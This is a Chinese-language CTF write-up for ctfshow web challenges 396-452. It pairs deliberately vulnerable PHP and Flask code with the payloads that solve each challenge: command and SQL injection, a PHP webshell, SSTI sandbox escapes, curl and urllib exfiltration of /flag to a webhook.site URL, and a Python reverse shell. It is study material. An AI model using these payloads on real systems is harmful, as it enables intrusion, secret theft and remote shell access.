web396

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
    highlight_file(__FILE__);
}

利用命令注入

?url=http://www.baidu.com/var/www/html/2;ls>a
?url=http://www.baidu.com/var/www/html/2;cat%20fl0g.php>a

web397

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);

}else{
    highlight_file(__FILE__);
}

命令注入,和上题相同

?url=http://www.baidu.com/2;cat%20fl0g.php>a

web398

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;/', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

过滤掉了分号,使用&&进行绕过

/?url=http://www.baidu.com/2%26%26cat%20fl0g.php%3Ea

web399

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>/', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

过滤了大于号,使用小于号继续绕过

/?url=http://www.baidu.com/2%26%26touch%20a<cat%20fl0g.php

web400

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>|http|https/i', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

才发现只对host做了过滤,path没有过滤🤣

/?url=http://www.baidu.com/2;cat%20fl0g.php>a 

web401

源码

<?php

#error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    var_dump($url);
    if(!preg_match('/;|>|http|https|\|/i', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}
/?url=http://www.baidu.com/2;cat%20fl0g.php>a 

web402

源码

<?php

#error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    var_dump($url);
    if(preg_match('/http|https/i', $url['scheme'])){
        die('error');
    }
    if(!preg_match('/;|>|\||base/i', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

过滤了http和https协议,使用ftp协议。

/?url=ftp://www.baidu.com/2;cat%20fl0g.php>a 

web403

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
        shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

限制host必须为ip地址

/?url=http://1.1.1.1/2;cat%20fl0g.php>a

web404

这里有个彩蛋,需要访问404.php

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
        if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
            shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
        }
    }

}else{
    highlight_file(__FILE__);
}

path被限制了,使用host进行注入。

/404.php?url=http://1.1.1.1;cat%20fl0g.php%3Ea;/1

web405

源码

<?php

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
        if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
            if(preg_match('/\~|\.|php/', $url['scheme'])){
                shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
            }
            
        }
    }

}else{
    highlight_file(__FILE__);
    echo 'parse_url 好强大';
}
/?url=php://1.1.1.1;cat%20fl0g.php>a;/1

web406

源码

<?php

require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
}

这题是sql注入

?url=http://127.0.0.1/1%27union/**/select/**/1,flag/**/from/**/flag/**/into/**/outfile/**/%27/var/www/html/3.txt

web407

源码

<?php

highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];

if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}

class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}

这里对ip地址校验,刚好call_user_func调用类函数的方式符合ipv6地址形式。

/?ip=cafe::add

web408

源码

<?php

highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];

if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

利用file_put_contents写入shell

/?email="<?=eval($_POST[1])?>"@shell.php

web409

源码

<?php

highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    $email=preg_replace('/.flag/', '', $email);
    eval($email);
}

添加flag,当通过正则时,刚好能去除前面的双引号。

?email="flagsystem($_GET[1]);?>"@a.com&1=cat%20/flag

web410

源码

<?php

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
}

考察FILTER_VALIDATE_BOOLEAN

如果是 "1"、"true"、"on" 和 "yes",则返回 TRUE。
如果是 "0"、"false"、"off" 和 "no",则返回 FALSE。
否则返回 NULL。

?b=yes

web411

源码

<?php

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
}

使用On或者yes都行

web412

源码

<?php

highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
    file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
    include('flag.php');
}

使用换行符%0a绕过注释符//

ctfshow=%0asystem('cat flag.php');

web413

源码

<?php

highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
        file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
    include('flag.php');
}

另一种注释方式,使用闭合来绕过。

ctfshow=*/system('cat flag.php');/*

web414

源码

<?php


highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];

if($ctfshow==true){
    if(sqrt($ctfshow)>=sqrt(intval($flag))){
        echo 'FLAG_NOT_HERE';
    }else{
        echo $flag;
    }
}

sqrt函数当参数为负数时,返回NaN。

在 PHP 中,当你尝试比较包含 NaN 的数值时,结果总是 false,因为 NaN 代表“不是数字”(Not-a-Number)。任何涉及 NaN 的操作,包括比较,都会返回 false 或者当作 false 来处理。

/?ctfshow=-1

web415

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$k = $_GET[k];

function getflag(){
    echo file_get_contents('flag.php');
}

if($k=='getflag'){
    die('FLAG_NOT_HERE');
}else{
    call_user_func($k);
}

法一:php的函数名、类名不区分大小写,可通过大写来绕过。

法二:利用命名空间

如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀\表示该名称是全局空间中的名称

?k=GETFLAG
?k=\getflag

web416

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctf{
    public function getflag(){
        return 'fake flag';
    }
    final public function flag(){
        echo file_get_contents('flag.php');
    }
}

class show extends ctf{
    public function __construct($f){
        call_user_func($f);
    }
}

echo new show($_GET[f]);

调用类中函数。

/?f=ctf::flag

web417

源码

<?php /*ctfshow*/define('aPeKTP0126',__FILE__);$cIYMfW=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$CBhSfw=$cIYMfW[3].$cIYMfW[6].$cIYMfW[33].$cIYMfW[30];$xWoIVy=$cIYMfW[33].$cIYMfW[10].$cIYMfW[24].$cIYMfW[10].$cIYMfW[24];$RkEEuV=$xWoIVy[0].$cIYMfW[18].$cIYMfW[3].$xWoIVy[0].$xWoIVy[1].$cIYMfW[24];$YFfKrW=$cIYMfW[7].$cIYMfW[13];$CBhSfw.=$cIYMfW[22].$cIYMfW[36].$cIYMfW[29].$cIYMfW[26].$cIYMfW[30].$cIYMfW[32].$cIYMfW[35].$cIYMfW[26].$cIYMfW[30];eval($CBhSfw("JGpYanRLZD0ianBRRHVrYkd3eW5abWlWek1mc0pDb0hGTnJxSUJTaGRQQXhMT0tFZ1d0dlVUZVJYYVlsY1RjUkNadW5WbWpHVUtIZUlmT2RZWHNEa1NwTVFFaXR4TnJBbHphcXdQQmJKZ0Z2V295aExOQzltb0Ryd1VWZUtvUDVoYVh4YWl1dnRGaGZtZmdRMllqQXRKVmVsZWtybWZnUTJhZ2R1eWV2M1VHRWxOV2VqblZ2aHkyOXVVaXdIWWdVa2ZpSjNSaUoyZkhKanZISjJ2WEoyZmdKaFNKZmhTSXloU0lSbVlneTVmVHdoZnVSaFNJcmhTSXdoU0lKaFNJcWhTSXVoZnVxMllnVUNZZ0xqWWdVWFlneTBZZ3kzemlKMXZISjJTaUoyelhKMmZqSjNmakozU2pKMnZUUmhmdVFoU1R5SVNqSjJSaVFjemp2U0ozVVpnR3c5WVZrSngyVW1pMWRJV2k0dXlldjNVR0VsUElVeGxIdnRlRHhLTHFCbmZJU3hsSHZ0ZUR4S0xxQm5mSUV4emp2VG9rdkpGUGY5WVZrSngyVW1pMWRJZjEwWllWa0p4MlVtaTFkQWZrMFpZVmtKeDJVbWkxZGpTazBaWVZrSngyVW1pMWRBZmswWllWa0p4MlVtaTFkalNrMDdZREVYSkRrNHZUMHV5MnRKZURoVFBJRXhsSHZ0ZUR4S0xxQm5mZ3R4bEh2dGVEeEtMcUJuZjEwWllWU3Nla3Y1eTFkbVdpNHV5MnRKZURoVFBJa3hsSHZ0ZUR4S0xxQm5mVHZ4emp2Q2VHRUJlM1E5WVZrSngyVW1pMWQzV2k0dXlldjNVR0VsUElxSVdnZHVnZVMybnU1NGxUMHV5ZXYzVUdFbFBJUWpXaTR1eWV2M1VHRWxQSWYyV2k0dXlldjNVR0VsUElRNVdpNHV5ZXYzVUdFbFBJUTJXaTR1eWV2M1VHRWxQSWZtV2k0dXlldjNVR0VsUElmaldpNHV5ZXYzVUdFbFBJZjFXaTR1eWV2M1VHRWxQSVEyV2k0dXlldjNVR0VsUElmbVdnQmh4S2tkYVh2U0ozVVpnR3dzUXVjVm5EZWd2V0VCVURzbW9QZVBSdTFIZjA1QVVxZXVTa1VkVWtjV2lxWU15SlVQdmVKbW5xWWVvMDVOUEswQWllY1F2dVV1ZmhVY3l1dG9naGVQTERZdGVXdlJVUDVQUjFVRFVxQlRvMWNzeUsxMG9WU2RKaHR0blB3MXlJa21SaFNwU0pjUG5oWVJVSng0TGtTREpLNXZma2NRZUpKQXhlZUJmZXZUZWhVaVVreG9TaHhlRnFldW51WVZQaFVzb2hmbWlLaHVmVGhzVUp2ZHhWUkFSdWhVZnVVM2d1Um1vSjhqZVRZVWUzeGJpR3M0YTBjNVNWQkpldTRqeUtkMVNxQkNKS2N0dmhZZVVleFNuMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoQWdQaHBMMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoSWl1ZXplMlNEZmV0VG9QQklpdXRYUjFlUXZUdmlvUHhwZTFMMWllU0JQVFNmdnFrSWl1ZXplMlNEZmV0VG9QQm1pMVNwU2pRY2FnZC9OVG0vTFZ0bVFWdmhVS2haVWl3R0ZQdnRvMlUzZkNxalNITGR5ZUVoaTF2UmZDcWpTSHU3WXExc0ZreGhSVDExTEtBdVVQU2JVVkpzUUhKMnZncWhTMHFoU1RRaGZ1eWhTdVJoU1RxMVlnZUNZZ0wyWWdMMGZYSjJ6Z1E0WWdZcVlnTG1ZZ0w0WWdMMVlnTEFZZ0w1WWdZRVNISjJSakozZkhKMlJISjJTWEoyU0l1aFNKeWhTVEpoU1R3aFNUZmhTSWZoU0lMaFN1eTBZZ1lYWWd5MmZJTGhTdXFIYWdkdVUyMUhna3Z1Tml2U29EdFdVSlluZjEwWllxMXNGa3hoUmhkMldpNHVnUHQ0ZTJlWFBJZklXaTR1Z1B0NGUyZVhQSWZtV2dkdUZLZXFnVmNvTml2U29EdFdVSlluZklTeGxIdlNvRHRXVUpZbmZnRXhsSHZTb0R0V1VKWW5mVHZ4bEh2U29EdFdVSlluZmdFeGxIdlNvRHRXVUpZbmZUdnh6anZkaWVjREowdTlZRGNodnFBTVBoZG1XaTR1Z1B0NGUyZVhQSXE0V2k0dWdQdDRlMmVYUElTeGxIdjZVSnZmb2hjbmZrMFpZRGNodnFBTVBoZEFXaTR1Z1B0NGUyZVhQSVEwV2dkdXZHZUF5V2VvTml2U29EdFdVSlluUzEwWllxMXNGa3hoUmhkQWYxMDdZVnhCeXVBSlVYNDlZcTFzRmt4aFJoZGpmaDBaWXExc0ZreGhSaGRJU2gwWllxMXNGa3hoUmhkanplMFpZcTFzRmt4aFJoZGpTaDBaWXExc0ZreGhSaGRJZmswWllxMXNGa3hoUmhkSWZoMFpZcTFzRmt4aFJoZElTZTBaWXExc0ZreGhSaGRqU2gwWllxMXNGa3hoUmhkSWZrMDdVV1V0blh3dVUyMUhna3Z1YVhZYXZnZTN5aHhtaVBTSmZWaHZvMFUzZWVlNG9LZVBnSzVUbzNFMlB1ZWlma2hwVWtjdWYwNXNQS0FveWVlVmVoZUhvMWNJeWVVYUZWZXB4cXZIZTFVUnlKeG1Ta3hRZXU5dW8xVXl5Z0VzZ2hTUEp1dnRlSWtsVWV4b2Vra3lnaGt1dld2Z1BURXNpaGNQZWhjSHZ1eUlKSzVYZmV2V29rdEp2R0VNUHV0c1NLU2VpR1lUbmdoa0poSjFmaFJqaWh4SG5WdFF5UDFWeDFlTW5rVUh2UHZxZUNTVlJ1MVFMcUJvbmhZUnkxVW1MZWtlTGt2dXYydnNKMUo1b2VZcG5xMXVvMXMwVXFlVmdrdkJndVNnb0lrWEplZW1lVnZEVWtTSFBrWWtQZVVvZWVVa3hxOVVmMVlZZ2dZa2ZoaGVucVlpZTN2YWVLZDVGa3hCTHFZSGVoY015VEUwaUt2SlBLdFRlSjVYeVBCaXZrY0JMa3ZTdmhVQWVXY1huZVJBZ3V2b25XcjBVcVVQSlZlUUpLMXRuZ0UzVVAxVm5lVWtndTVnZUtSMEpJU1ZlZVJtVTNoVWZLQURKUEI0Z2VZWnZoZVduV3Z6VXFlVm9WU1BKVEV0b0llMnlUa2F4VnZrSkt0UG5rWUFQaEoxSnExRHZoeFNlMGNESjFlNFIyWURTZ1NXdjBVUVBnWWRpUFlaZWdZVWV1Y3NlaHhtdmVVQlVEa2Vua2NaeVBCaW5ra1dMcWV2RmhjUmVreGtmS2twSkdrSmYwVXR5UEJWeGtTeVVWNW9lSWVTZTF0YXllVVFKR2tKbmdoMnloZWRKcTFrUHVTdWZoY2xKUGQ1b2VTRGZEeGhuSlVCZXVlemllU2VGQ1lIaVZ3bUpleDRpa2g2UlRlaWZLOGpKMjFVU2VZa3hxY2lvM3cxZTJjUHZlU3FpV3hKZjBVWGdKdG1TaHhNb2tFVGVKc0lQSzVkUjA5V1B1OVNmSllTVWVlcFNlY3B4cWNKaWtjRFBLQlZlS2VwZmVjSmYwVUNlcXRvbnExcGVXdGlvMm1BVXFVRUZlWWRuVkFIbkttalVlZWR4aFVQUksxV3ZWdmd5aHRpUGVjeVUzeFd2Z3YzSklrdWYxeUFuVjlvZXE1TUpQQUVGcTFxVWtTSGUyQW1KS0FtUmh4RGVUdlN2VkF2Z2dyNWZrU3FnVGV0aURFTmUxSjVGa2tlRnExb2VxYzJQUDFWRmt1bWl1aGdlS3ZieTJBZXgyZWR2R2V1ZlBtMWdQNVRmMWVCZmdFZXZlYzFlQ1NpaWVjcGdLOVVmUHRWZXV4U0ZxOXlpdTVTZTA1aWVna29mMUpqZ2h2aGVWdmd5aHhwU0poTXhWQXVuSlVJaTBTVGwxRWN5M2VhdjJ2MFBQQjRlZWNDVTJCaG5lVWtlcXhteUpCQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRpMmNZTHFBQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRncVNpdjJ2eXZLdHVlSzltZ3FTaUwxU1BMcXRlZlZCYml1SjF4MllXTHFoVEozeDNncVNpdjJ2eXZLdHVlSzltaTFTcExxOTNOZzBIYWl1N05JND0iO2V2YWwoJz8+Jy4kQ0JoU2Z3KCR4V29JVnkoJFJrRUV1VigkalhqdEtkLCRZRmZLclcqMiksJFJrRUV1VigkalhqdEtkLCRZRmZLclcsJFlGZktyVyksJFJrRUV1VigkalhqdEtkLDAsJFlGZktyVykpKSk7"));?>

代码做了混淆,将eval改为echo来解混淆。
这里套了4层,主要是用字符串截取和base64来混淆。

<?php

error_reporting(0);
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}

web418

源码

<?php

$key= 0;
$clear='clear.php';
highlight_file(__FILE__);

//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);

extract($_POST);
if($key===0x36d){
    //帮黑阔写好后门
    eval('<?php '.$ctfshow.'?>');
}else{
    $die?die('FLAG_NOT_HERE'):clear($clear);
}

function clear($log){
    shell_exec('rm -rf '.$log);
}

extract函数处可以利用变量覆盖,但是上传key参数类型始终为string,无法通过判断。
在else处进行变量覆盖+命令注入。

die=0&clear=;cat flag.php > 1.txt;

web419

源码

<?php

highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 17){
    eval($code);
}

代码执行,且限制长度。

code=system('cat *');

web420

源码

<?php

highlight_file(__FILE__);

$code = $_POST['code'];
if(strlen($code) < 8){
    system($code);
}

命令执行,且限制长度。

code=nl ../*

web421

源码

<?php

highlight_file(__FILE__);

$code = $_POST['code'];
if(strlen($code) < 6){
    system($code);
}

命令执行,且限制长度。

code=cat *

web422

源码

<?php

highlight_file(__FILE__);

$code = $_POST['code'];
if(strlen($code) < 5){
    system($code);
}

命令执行,且限制长度。

code=nl *

web423

这题是SSTI,没有提示。。。

?code="".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[%27popen%27]("env").read()

web424

web425

web426

web427

web428

web429

web430

web431

同上题

web432

web433

过滤了open、read字符。
使用字符串拼接绕过open,使用带外绕过read。

?code="".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[%27po%27+%27pen%27]("curl%20https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat%20/flag`")

web434

curl也被过滤了
使用字符串拼接绕过。

?code="".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[%27po%27+%27pen%27]("cu"+"rl%20https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat%20/flag`")

web435

web436

web437

web438

web439

下划线也过滤了。

但可以使用exec函数执行多行代码。

将代码逆序。

a = 'import os;os.system("curl https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat /flag`")'

print(a[::-1])

输出要求为str类型,不然会报错,所以这里使用str函数,使返回值为str。

?code=str(exec(%27)"`galf/%20tac`=galf?/ab902d20350b-ed6b-8544-5012-b0289626/etis.koohbew//:sptth%20lruc"(metsys.so;so%20tropmi%27[::-1]))

web440

过滤了单引号和双引号

使用chr函数来绕过。

a = 'import os;os.system("curl https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat /flag`")'

def chr2chr(a):
    t=''
    for i in range(len(a)):
        if i < len(a)-1:
            t+='chr('+str(ord(a[i]))+')%2b'
        else:
            t+='chr('+str(ord(a[i]))+')'

    return t


print(chr2chr(a))
?code=str(exec(chr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(32)%2bchr(111)%2bchr(115)%2bchr(59)%2bchr(111)%2bchr(115)%2bchr(46)%2bchr(115)%2bchr(121)%2bchr(115)%2bchr(116)%2bchr(101)%2bchr(109)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(115)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(119)%2bchr(101)%2bchr(98)%2bchr(104)%2bchr(111)%2bchr(111)%2bchr(107)%2bchr(46)%2bchr(115)%2bchr(105)%2bchr(116)%2bchr(101)%2bchr(47)%2bchr(54)%2bchr(50)%2bchr(54)%2bchr(57)%2bchr(56)%2bchr(50)%2bchr(48)%2bchr(98)%2bchr(45)%2bchr(50)%2bchr(49)%2bchr(48)%2bchr(53)%2bchr(45)%2bchr(52)%2bchr(52)%2bchr(53)%2bchr(56)%2bchr(45)%2bchr(98)%2bchr(54)%2bchr(100)%2bchr(101)%2bchr(45)%2bchr(98)%2bchr(48)%2bchr(53)%2bchr(51)%2bchr(48)%2bchr(50)%2bchr(100)%2bchr(50)%2bchr(48)%2bchr(57)%2bchr(98)%2bchr(97)%2bchr(47)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96)%2bchr(34)%2bchr(41)))

web441

web442

又过滤了数字。

使用传参绕过,参数名字处需要用引号,使用request.method来绕过引号。

?code=str(exec(request.args.get(request.method)))&GET=import%20os;os.system("curl%20https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat%20/flag`")

web443

web444

过滤了request,利用全局变量来获取字符。

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

/?POST=import%20os;os.system(%22curl%20https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat%20/flag`%22)

web445

web446

提供了源码

app.py

from flask import Flask
from flask import request
import re
import os
del os.system
del os.popen
del imp.reload

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

删掉了os.system等用来执行命令的库。

利用socket、subprocess来获取shell。

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

/?POST=import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

web447

源码

from flask import Flask
from flask import request
import re
import os
import imp
del os.system
del os.popen
del imp.reload
import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以用reload重新下回来删掉的库。

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

/?POST=from%20importlib%20import%20reload;import%20os;reload(os);os.system(%22curl%20https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat%20/flag`%22)

web448

源码

from flask import Flask
from flask import request
import re
import sys 
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None

app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

payload

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

/?POST=import%20sys;del%20sys.modules['os'];import%20os;os.system(%22curl%20https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag=`cat%20/flag`%22); 

web449

源码

from flask import Flask
from flask import request
import re
import sys 
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None

app = Flask(__name__)
sys.modules['importlib']=None
del sys

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])


@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
        	code = stringQ2B(code)
        	if '\\u' in code:
        		return 'hacker?'
        	if '\\x' in code:
        		return 'hacker?'
        	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
        	if reg.search(code)==None:
        		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

使用其他库,发送url请求。

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

/?POST=s=open('/flag').read();import%20urllib;urllib.request.urlopen('https://webhook.site/6269820b-2105-4458-b6de-b05302d209ba/?flag='%2bs);

web450

源码·

<?php

highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];


if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
    eval("($ctfshow)();");
}

限制必须满足正则,含有两个异或符号。
进行两次相同异或刚好抵消。

?ctfshow=phpinfo^phpinfo^phpinfo

web451

源码

<?php

highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];


if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
    if(!preg_match('/phpinfo/', $ctfshow)){
        eval("($ctfshow)();");
    }
}

多了一个正则,要求不能含有phpinfo
根据异或运算构造一下。

?ctfshow=phpinfl^aaaaaaa^aaaaaab

web452

源码·

<?php

highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];


